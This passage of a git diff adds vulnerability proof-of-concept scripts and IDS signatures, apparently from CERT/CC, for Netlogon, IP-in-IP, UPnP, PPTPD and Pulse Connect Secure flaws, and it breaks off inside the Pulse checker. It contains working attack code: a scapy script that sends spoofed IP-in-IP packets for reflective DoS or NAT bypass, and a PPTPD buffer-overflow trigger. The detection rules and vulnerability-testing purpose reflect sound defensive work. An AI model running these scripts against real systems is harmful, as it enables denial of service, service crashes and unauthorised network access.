diff --git a/00-CVE_EXP/CVE-2020-1472/cve-2020-1472-exploit-200.pcap b/00-CVE_EXP/CVE-2020-1472/cve-2020-1472-exploit-200.pcap new file mode 100644 index 0000000..6e90e91 Binary files /dev/null and b/00-CVE_EXP/CVE-2020-1472/cve-2020-1472-exploit-200.pcap differ diff --git a/00-CVE_EXP/CVE-2020-1472/cve-2020-1472-exploit-2000.pcap b/00-CVE_EXP/CVE-2020-1472/cve-2020-1472-exploit-2000.pcap new file mode 100644 index 0000000..ff60632 Binary files /dev/null and b/00-CVE_EXP/CVE-2020-1472/cve-2020-1472-exploit-2000.pcap differ diff --git a/00-CVE_EXP/CVE-2020-1472/cve-2020-1472-exploit.pcap b/00-CVE_EXP/CVE-2020-1472/cve-2020-1472-exploit.pcap new file mode 100644 index 0000000..ff60632 Binary files /dev/null and b/00-CVE_EXP/CVE-2020-1472/cve-2020-1472-exploit.pcap differ diff --git a/00-CVE_EXP/CVE-2020-1472/cve-2020-1472-production.rules b/00-CVE_EXP/CVE-2020-1472/cve-2020-1472-production.rules new file mode 100644 index 0000000..49d2d8c --- /dev/null +++ b/00-CVE_EXP/CVE-2020-1472/cve-2020-1472-production.rules @@ -0,0 +1,7 @@ +#Microsoft Netlogon Remote Protocol vulnerable to elevation of privilege CVE-2020-1472 +#For wireshark geeks (netlogon.clientcred == 00:00:00:00:00:00:00:00 && netlogon.neg_flags == 0x212fffff) +#Note ntlmssp.neg_flags.na400000 == 0 is not enabled in the suricata rule which is a reliable +#Only captures bytes sequence, this IDS signature subject to some false/negative and +#possible false/positives +alert tcp any [1024: 65535] -> $HOME_NET [135:139, 445, 1024: 65535] (msg:"VU#490028: Microsoft Netlogon Remote Protocol vulnerable to elevation of privilege CVE-2020-1472"; flow: established,to_server; content: "|00 00 00 00 00 00 00 00 00|"; content: "|ff ff 2f 21|"; within: 12; sid:1367490028; classtype:attempted-admin; threshold: type limit, track by_src, seconds 180, count 1; reference: url,https://kb.cert.org/vuls/id/490028; rev:4;) + diff --git a/00-CVE_EXP/CVE-2020-1472/cve-2020-1472-test.pcap b/00-CVE_EXP/CVE-2020-1472/cve-2020-1472-test.pcap new file mode 100644 index 0000000..a4b2aa2 Binary files /dev/null and b/00-CVE_EXP/CVE-2020-1472/cve-2020-1472-test.pcap differ diff --git a/00-CVE_EXP/CVE-2020-1472/cve-2020-1472.rules b/00-CVE_EXP/CVE-2020-1472/cve-2020-1472.rules new file mode 100644 index 0000000..2910ef8 --- /dev/null +++ b/00-CVE_EXP/CVE-2020-1472/cve-2020-1472.rules @@ -0,0 +1,7 @@ +#Microsoft Netlogon Remote Protocol vulnerable to elevation of privilege CVE-2020-1472 +#For wireshark geeks (netlogon.clientcred == 00:00:00:00:00:00:00:00 && netlogon.neg_flags == 0x212fffff) +#Note ntlmssp.neg_flags.na400000 == 0 is not enabled in the suricata rule which is a reliable +#Only captures bytes sequence, this IDS signature subject to some false/negative and +#possible false/positives tested with most exploits currently out +alert tcp any [1024: 65535] -> $HOME_NET [135:139, 445, 1024: 65535] (msg:"VU#490028: Microsoft Netlogon Remote Protocol vulnerable to elevation of privilege CVE-2020-1472"; flow: established,to_server; content: "|00 00 00 00 00 00 00 00|"; content: "|ff ff 2f 21|"; within: 12; sid:1367490028; classtype:attempted-admin; threshold: type limit, track by_src, seconds 180, count 1; reference: url,https://kb.cert.org/vuls/id/490028; rev:4;) + diff --git a/00-CVE_EXP/CVE-2020-1472/smb-normal.pcap b/00-CVE_EXP/CVE-2020-1472/smb-normal.pcap new file mode 100644 index 0000000..f5209fe Binary files /dev/null and b/00-CVE_EXP/CVE-2020-1472/smb-normal.pcap differ diff --git a/00-CVE_EXP/cve-2020-10136/README.md b/00-CVE_EXP/cve-2020-10136/README.md new file mode 100644 index 0000000..4d62a56 --- /dev/null +++ b/00-CVE_EXP/cve-2020-10136/README.md @@ -0,0 +1,40 @@ +# cve-2020-10136 +You can use this code to verify if your device supports default IP-in-IP +encapsulation from arbitrary sources to arbitrary destinations. The intended +use of this code requires at least two more devices with distinct IP +addresses for these two devices. The testing in "bypass" mode requires +the vulnerable device to be "dual-homed" so routing to the "inside" +network from an external network interface can be verified. + +Spoof mode: +![Spoof mode](spoof.png) + +The demonstration script can be used in two ways - spoof mode and +bypass mode. Initial setup requires at least three devices for this +testing. In the simple spoofing mode, attacker will send a IP-in-IP +packet from their device to a vulnerable machine +(VULNERABLE_MACHINE_IP sys.argv[1]) to replay a packet to the victim's +device (VICTIM_IP sys.argv[2]). This mode demonstrates a DDOS +capability to send unsolicited traffic to VICTIM_IP. Because this +packet has valid source and destination, anti-spoofing measure such as +BCP-38 will not block this crafted packet. The intended traffic can be +routed through the VULNERABLE_IP to the VICTIM_IP device by an +unauthenticated attacker. + +Bypass mode: +![Bypass mode](bypass.png) + +In the bypass mode (using all 4 arguments for the script), the +attacker will send a crafted IP-in-IP packet from the attacker's +device to a vulnerable device (VULNERABLE_MACHINE_IP sys.argv[1]). The +vulnerable device will receive and decapsulate the packet and forward +the inner IP packet to the victim device (VICTIM_IP sys.argv[2]) +machine with a source IP Address of DATA_COLLECT_IP (sys.argv[3]). The +attacker can thus solicit information using the sample SNMP query to +be sent to DATA_COLLECT_IP which he has access to. In the provided +example, device at the VICTIM_IP address is assumed to have SNMP +enabled with the standard "public" community string for read-only +access. SNMP is being demonstrated here, but this forwarding behavior +can allow for many types of unexpected IP traffic to traverse using +the vulnerable machine as a forwarding point for any nefarious +communications as planned by the attacker. diff --git a/00-CVE_EXP/cve-2020-10136/bypass.png b/00-CVE_EXP/cve-2020-10136/bypass.png new file mode 100644 index 0000000..202c2b3 Binary files /dev/null and b/00-CVE_EXP/cve-2020-10136/bypass.png differ diff --git a/00-CVE_EXP/cve-2020-10136/cve-2020-10136.rules b/00-CVE_EXP/cve-2020-10136/cve-2020-10136.rules new file mode 100644 index 0000000..9c8c64f --- /dev/null +++ b/00-CVE_EXP/cve-2020-10136/cve-2020-10136.rules @@ -0,0 +1,6 @@ +#This Snort IDS rule looks for any IP-in-IP traffic, whether +#intentional or not. Further filtering can be applied to ignore sources +#and destinations that are allowed by your policy to route IP-in-IP +#traffic. +alert ip any any -> any any (msg:"IP-in-IP Tunneling Detected VU#636397 https://kb.cert.org"; ip_proto:4; sid: 1367636397; +rev:1;) diff --git a/00-CVE_EXP/cve-2020-10136/ip-in-ip-scan.py b/00-CVE_EXP/cve-2020-10136/ip-in-ip-scan.py new file mode 100644 index 0000000..adc5689 --- /dev/null +++ b/00-CVE_EXP/cve-2020-10136/ip-in-ip-scan.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python3 +#Thanks to Yannay Livneh for sharing this PoC script +#PoC script slightly modified to test bypass mode +import sys +from scapy.all import * +if len(sys.argv) < 3: + print("Usage "+sys.argv[0]+" VULNERABLE_MACHINE_IP VICTIM_IP [DATA_COLLECT_IP] [spoof|bypass]") + print("\t - Optional arguments DATA_COLLECT_IP and bypass can be used to test bypass NAT") + sys.exit(0); + ## IP-in-IP forwarding device vulnerable to VU-636397 +VULNERABLE_MACHINE_IP = sys.argv[1] +## VICTIM IP of the machine we want to send packet to +VICTIM_IP = sys.argv[2] + +if len(sys.argv) == 5 and sys.argv[4] == "bypass": + ## Address we want to send the return traffic back to + DATA_COLLECT_IP = sys.argv[3] + ## LAN bypass mode to jump into VICTIM_IP network + ## send IP over IP (proto 4) to pull sys.descr from VICTIM_IP and send to DATA_COLLECT_IP + send(IP(dst=VULNERABLE_MACHINE_IP)/IP(src=DATA_COLLECT_IP,dst=VICTIM_IP)/UDP(sport=3363)/ + SNMP(community="public",PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1.2.1.1.1.0"))]))) +else: + ## spoof mode to spoof vulnerable device to send unsolicited traffic to VICTIM_IP + ## send unsolicited reflective DOS traffic to VICTIM_IP on port 3363 saying "I am Vulnerable" + send(IP(dst=VULNERABLE_MACHINE_IP)/IP(src=VULNERABLE_MACHINE_IP, dst=VICTIM_IP)/UDP(sport=3363, dport=3363)/ + Raw(load="I am Vulnerable\n")) + ## To see the packets in the DATA_COLLECTOR or VICTIM_IP execute: + ## tcpdump -i any -nvvv udp port 3363 + diff --git a/00-CVE_EXP/cve-2020-10136/spoof.png b/00-CVE_EXP/cve-2020-10136/spoof.png new file mode 100644 index 0000000..c2282ea Binary files /dev/null and b/00-CVE_EXP/cve-2020-10136/spoof.png differ diff --git a/00-CVE_EXP/cve-2020-12695/README.md b/00-CVE_EXP/cve-2020-12695/README.md new file mode 100644 index 0000000..75f0791 --- /dev/null +++ b/00-CVE_EXP/cve-2020-12695/README.md @@ -0,0 +1,9 @@ +# CVE-2020-12695 vulnerability information + +Surricata IDS rule is enclosed here that can provide information on how to detect abuse of this vulnerbaility. You can update the IDS rule to change $HOME address to be other than the RFC1918 and RFC4193 IP space in the rule. + +1. Vulnerability note is available at [https://kb.cert.org/vuls/id/339275](https://kb.cert.org/vuls/id/339275), will be constantly updated with new information from vendors. + +2. Check at [https://callstranger.com](https://callstranger.com) for exploits and work done by Yunus ÇADIRCI show reported this vulnerability. + +3. Check the PoC available in [Yunus Github repository](https://github.com/yunuscadirci/CallStranger) diff --git a/00-CVE_EXP/cve-2020-12695/cve-2020-12695.rules b/00-CVE_EXP/cve-2020-12695/cve-2020-12695.rules new file mode 100644 index 0000000..82bb324 --- /dev/null +++ b/00-CVE_EXP/cve-2020-12695/cve-2020-12695.rules @@ -0,0 +1,4 @@ +#Surricata rule to test for SUBSCRIBE being abused. Case sensitivity is NOT required as HTTP +#method SUBSCRIBE is supposed to be uppercase. However we saw some implementations that +#accept HTTP method in lowercase. +alert http any any -> ![fd00::/8,192.168.0.0/16,10.0.0.0/8,172.16.0.0/12] any (msg:"UPnP SUBSCRIBE request seen to external network VU#339275: CVE- 2020-12695 https://kb.cert.org "; content: "subscribe"; nocase; http_method; sid:1367339275;) diff --git a/00-CVE_EXP/cve-2020-8597-pptpd/README.md b/00-CVE_EXP/cve-2020-8597-pptpd/README.md new file mode 100644 index 0000000..7e7c9fc --- /dev/null +++ b/00-CVE_EXP/cve-2020-8597-pptpd/README.md @@ -0,0 +1,33 @@ +# cve-2020-8597-pptpd +You can use this code to verify if your PPTPD server is likely vulnerable to CVE-2020-8597 vulnerability. +Usage +prompt# ./pptp_poc.py +Usage ./pptp_poc.py PPTP_Server to test for CVE-2020-8597 + +prompt# ./pptp_poc.py 172.19.12.21 +Initiating communications with PPTP server 172.19.12.21 +Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow +Server 172.19.12.21 is likely vulnerable, did not return anything after EAP packet + +prompt# DEBUG=1 ./pptp_poc.py 172.19.12.24 +Initiating communications with PPTP server 172.19.12.24 +.... debug info .... +Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow +Server 172.19.12.24 is likely vulnerable, did not return anything after EAP packet + +prompt# ./pptp_poc.py 172.19.12.254 +Initiating communications with PPTP server 172.19.12.254 +Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow +Server 172.19.12.254 is likely NOT vulnerable to buffer overflow +Verifying peer 172.19.12.254 one more time using a Echo request to the peer +Received a normal PPP Echo Reply, System is mostly likely NOT vulnerable + +There are some sample PCAP file with exploit (and without exploit) and matching +snort rules included in this repository. Read the cve-2020-8597-pptpd.rules file +for details + +### + +Copyright and license: + See License under https://github.com/CERTCC/PoC-Exploits + diff --git a/00-CVE_EXP/cve-2020-8597-pptpd/cve-2020-8597-pptpd.rules b/00-CVE_EXP/cve-2020-8597-pptpd/cve-2020-8597-pptpd.rules new file mode 100644 index 0000000..53be9df --- /dev/null +++ b/00-CVE_EXP/cve-2020-8597-pptpd/cve-2020-8597-pptpd.rules @@ -0,0 +1,15 @@ +#IDS rules are bound to have false/positive and false/negatives at times. Note: +#these can be easily evaded by padding and other tricks done when packet crafting. +#USE AT YOUR OWN RISK! +#We have done our best to avoid false/negatives. There is a sample pcap file in +#this folder called gre-samples.pcap which has one GRE EAP-MD5 packet matching buffer +#overflow payload (256 length hostname 'AA..A') and one that does not (255 length +#hostname with 'AA..A') +#GRE packet ip_proto == 47 +#This also could be EAP-MD5 response but usually ignored by PPTPD so focus on EAP-MD5 challenge +#PPP - EAP-MD5 Challenge packet == 0xc22701 +#Hostname greater than 256 and total length greater than, Note: IP Frame 20 bytes is not +#included in the dsize. +#Length of hostname > 256, so total_packet >287 bytes = 12 (Ethernet-Frame) + GRE Encapsulation (12) + PPP-Protocol (2) + EAP-Framing-length(4) +#Using GRE rules SID format 116:161:* +alert ip any any -> any any (msg:"GRE EAP-Md5 Challenge abnormal length, posisble buffer overflow"; ip_proto:47; content: "|c2 27 01|"; offset: 0; dsize: > 287; sid: 1161617194; rev:1; rawbytes;) diff --git a/00-CVE_EXP/cve-2020-8597-pptpd/gre-samples.pcap b/00-CVE_EXP/cve-2020-8597-pptpd/gre-samples.pcap new file mode 100644 index 0000000..aedda23 Binary files /dev/null and b/00-CVE_EXP/cve-2020-8597-pptpd/gre-samples.pcap differ diff --git a/00-CVE_EXP/cve-2020-8597-pptpd/pptp_poc.py b/00-CVE_EXP/cve-2020-8597-pptpd/pptp_poc.py new file mode 100644 index 0000000..46b5d19 --- /dev/null +++ b/00-CVE_EXP/cve-2020-8597-pptpd/pptp_poc.py @@ -0,0 +1,165 @@ +#!/usr/bin/python3 + +from scapy.all import * +import socket +import sys +import signal +import os +conf_ack_received = False +conf_ack_sent = False +debug = False + +if os.environ.get("DEBUG"): + debug = True + +def pkt_callback(pkt): + global gre_stream, server_conf_request, call_reply, conf_ack_received, conf_ack_sent, debug + if debug: + print("Received a GRE packet that shows continued conversation for EAP") + pkt.show() + if pkt.haslayer(PPP): + if pkt.getlayer(PPP).proto == 49699 : # CHAP 0xc223 + conf_ack_received = True + if debug: + print("Received a CHAP challenge from peer ignoring") + print("Assuming we received a Conf-Ack already") + return + if pkt.haslayer(EAP): + if pkt.getlayer(EAP).code == 2 : + #EAP Response received for the sent EAP request with bad payload + if pkt.getlayer(EAP).type == 3: # If EAP-NaK recevied assume server is ok + print("Server %s is likely NOT vulnerable " % (sys.argv[1])) + sys.exit(0) + if pkt.haslayer(PPP_LCP_Configure) : + p_layer = pkt.getlayer(PPP_LCP_Configure) + cid = p_layer.id + if p_layer.code == 2: + if debug: + print("Received Conf ack we are all okay") + conf_ack_received = True + if conf_ack_sent == True: + return + else: + sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0) + if p_layer.code == 1: #config request + if debug: + print("Received another Config-Request, should reply this") + pkt.show() + server_conf_ack = gre_stream.sr1(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+1)/ + HDLC()/PPP()/ + PPP_LCP_Configure(code=0x2,id=cid,options=pkt[IP][GRE_PPTP][PPP][PPP_LCP_Configure].options), verbose=debug) + conf_ack_sent = True + if conf_ack_received: + sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0) + + if p_layer.code == 10 and p_layer.id == 4: # Echo-reply with id=1 + if debug: + print("We received a Echo-Reply back for ID=4 ping request") + print("Server %s is likely NOT vulnerable " % (sys.argv[1])) + sys.exit(0) + + + + +def handler(signum, frame): + if debug: + print("Timeout has expired") + raise Exception('Timed out') + + +if len(sys.argv) < 2: + print("Usage %s PPTP_Server to test for CVE-2020-8597" %(sys.argv[0])); + sys.exit(0) +dst = sys.argv[1] +#default pptp port +dport = 1723 + +print("Initiating communications with PPTP server %s " %(dst)) +signal.signal(signal.SIGALRM, handler) +#6 seconds for first TCP response +signal.alarm(6) +#TCP communications +client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +client.connect((dst, dport)) +cstream = StreamSocket(client) + + +# initialize PPTP session +call_id = random.randint(1000,10000) +vr=PPTPStartControlConnectionRequest(vendor_string="cananian") +#This is due to a bug in PPTPStartControlConnectionRequest in scapy where version and +#revision is not properly parsed +vr.protocol_version=256 + +cstream.sr1(vr,verbose=debug) +call_reply = cstream.sr1(PPTPOutgoingCallRequest(call_id=call_id),verbose=debug) +call_reply = PPTPOutgoingCallReply(call_reply) + +signal.alarm(0) +#Another 6 seconds to do GRE connection +signal.alarm(6) +# GRE communications +gre_socket = socket.socket(socket.AF_INET,socket.SOCK_RAW, socket.IPPROTO_GRE) +gre_socket.connect((dst,dport)) +gre_stream = SimpleSocket(gre_socket) +#send configuration request +server_conf_request = gre_stream.sr1(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id)/ + HDLC()/PPP()/ + PPP_LCP_Configure(id=0x1,options=[ + PPP_LCP_Magic_Number_Option(magic_number=0xaabbccdd) ]),verbose=debug) +server_conf_request = IP(server_conf_request) + + +signal.alarm(0) +# give 9 seconds for configure ack to complete +signal.alarm(9) +tries = 0 +try: + while conf_ack_received == False or tries < 9: + sniff(iface="eth0",prn=pkt_callback,count=1,filter='proto gre and src host '+sys.argv[1],store=0) + tries = tries + 1 +except: + if debug: + print("Never could recevie a configureation ack from peer due to Timeout") + tries = 9 +if conf_ack_received == False and tries > 8: + print("Remote system %s did not provide Configure-Acknowledgement - giving up" %(sys.argv[1])) + print("Server %s is in UNKNOWN state" %(sys.argv[1])) + sys.exit(0) +signal.alarm(0) + +print("Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow") + +bad_pkt=GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+1)/PPP(proto=0xc227)/EAP_MD5(code=1,value_size=16,value='A'*16, optional_name='A'*1100) + +gre_stream.send(bad_pkt) + +#Look to see if we receive EAP_Nak that means buffer overflow did NOT succeed +signal.alarm(3) +try: + sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0) +except: + print("Server %s is likely vulnerable, did not return anything after EAP packet " % (sys.argv[1])) + sys.exit(0) +print("Server %s is likely NOT vulnerable to buffer overflow" % (sys.argv[1])) +signal.alarm(0) + +print("Verifying peer %s one more time using a Echo request to the peer " % (sys.argv[1])) +signal.alarm(3) +#echo request to test if PPP interface is still alive - that means we didnt crash the remote +#pptp server with the bad payload +gre_stream.send(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+2)/ + HDLC()/PPP()/ + PPP_LCP_Configure(code=0x9,id=4)) + + +try: + PPP_Alive = sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0) +except: + print("Did not received PPP Echo Reply, check the logs on the server to verify status") + sys.exit(0) + +print("Received a normal PPP Echo Reply, System is mostly likely NOT vulnerable") + +sys.exit(0) + diff --git a/00-CVE_EXP/cve-2021-22908/README.md b/00-CVE_EXP/cve-2021-22908/README.md new file mode 100644 index 0000000..62c115c --- /dev/null +++ b/00-CVE_EXP/cve-2021-22908/README.md @@ -0,0 +1,31 @@ +# cve-2021-22908 + +This python3 script checks for Pulse Connect Secure servers vulnerable to +[VU#667933](https://www.kb.cert.org/vuls/id/667933) CVE-2021-22908. The python requests library is required for operation. + +## Usage modes: +`cve-2021-22908.py ` +This mode will interactively log in to a PCS server to obtain a DSID value. + +`cve-2021-22908.py -d ` +In the case were a PCS user's DSID is already known, this mode will skip the +interactive login exchange. + +`cve-2021-22908.py -n` +If you do not have authentication available for the target PCS, you can check +for only the presence of the Workaround-2105.xml mitigation. + + +## Results: +`HTTP 500` +This is indicative of a vulnerable PCS server, due to a crashing CGI. + +`HTTP 403. XML workaround applied` +This is indicative of a PCS server that has an XML mitigation applied. + +`HTTP 200. Windows File Access Policies prevents exploitation.` +This is indicative of a PCS server that has "Windows File Access Policies" +configured in a way that prevents exploitation. + +`HTTP %s. Not vulnerable.` +The PCS server does not appear to be vulnerable. diff --git a/00-CVE_EXP/cve-2021-22908/cve-2021-22908.py b/00-CVE_EXP/cve-2021-22908/cve-2021-22908.py new file mode 100644 index 0000000..6d7d0f9 --- /dev/null +++ b/00-CVE_EXP/cve-2021-22908/cve-2021-22908.py @@ -0,0 +1,263 @@ +#!/usr/bin/env python3 +# Utility to check for Pulse Connect Secure CVE-2021-22908 +# https://www.kb.cert.org/vuls/id/667933 + +import requests +from requests.packages.urllib3.exceptions import InsecureRequestWarning +import argparse +import sys +from html.parser import HTMLParser +import getpass + +parser = argparse.ArgumentParser(description='Pulse Connect Secure CVE-2021-22908') +parser.add_argument('host', type=str, help='PCS IP or hostname)') +parser.add_argument('-u', '--user', dest='user', type=str, help='username') +parser.add_argument('-p', '--pass', dest='password', type=str, help='password') +parser.add_argument('-r', '--realm', dest='realm', type=str, help='realm') +parser.add_argument('-d', '--dsid', dest='dsid', type=str, help='DSID') +parser.add_argument('-x', '--xsauth', dest='xsauth', type=str, help='xsauth') +parser.add_argument('-n', '--noauth', action='store_true', help='Do not authenticate. Only check for XML workaround') + +args = parser.parse_args() + +requests.packages.urllib3.disable_warnings(InsecureRequestWarning) + +class formvaluefinder(HTMLParser): + def __init__(self, searchval): + super(type (self), self).__init__() + self.searchval = searchval + def handle_starttag(self, tag, attrs): + if tag == 'input': + # We're just looking for form tags + foundelement = False + for attr in attrs: + if(attr[0] == 'name'): + if(attr[1] == self.searchval): + foundelement = True + elif(attr[0] == 'value' and foundelement == True): + self.data = attr[1] + +class preauthfinder(HTMLParser): + foundelement = False + def handle_starttag(self, tag, attrs): + if tag == 'textarea': + # We're just looking for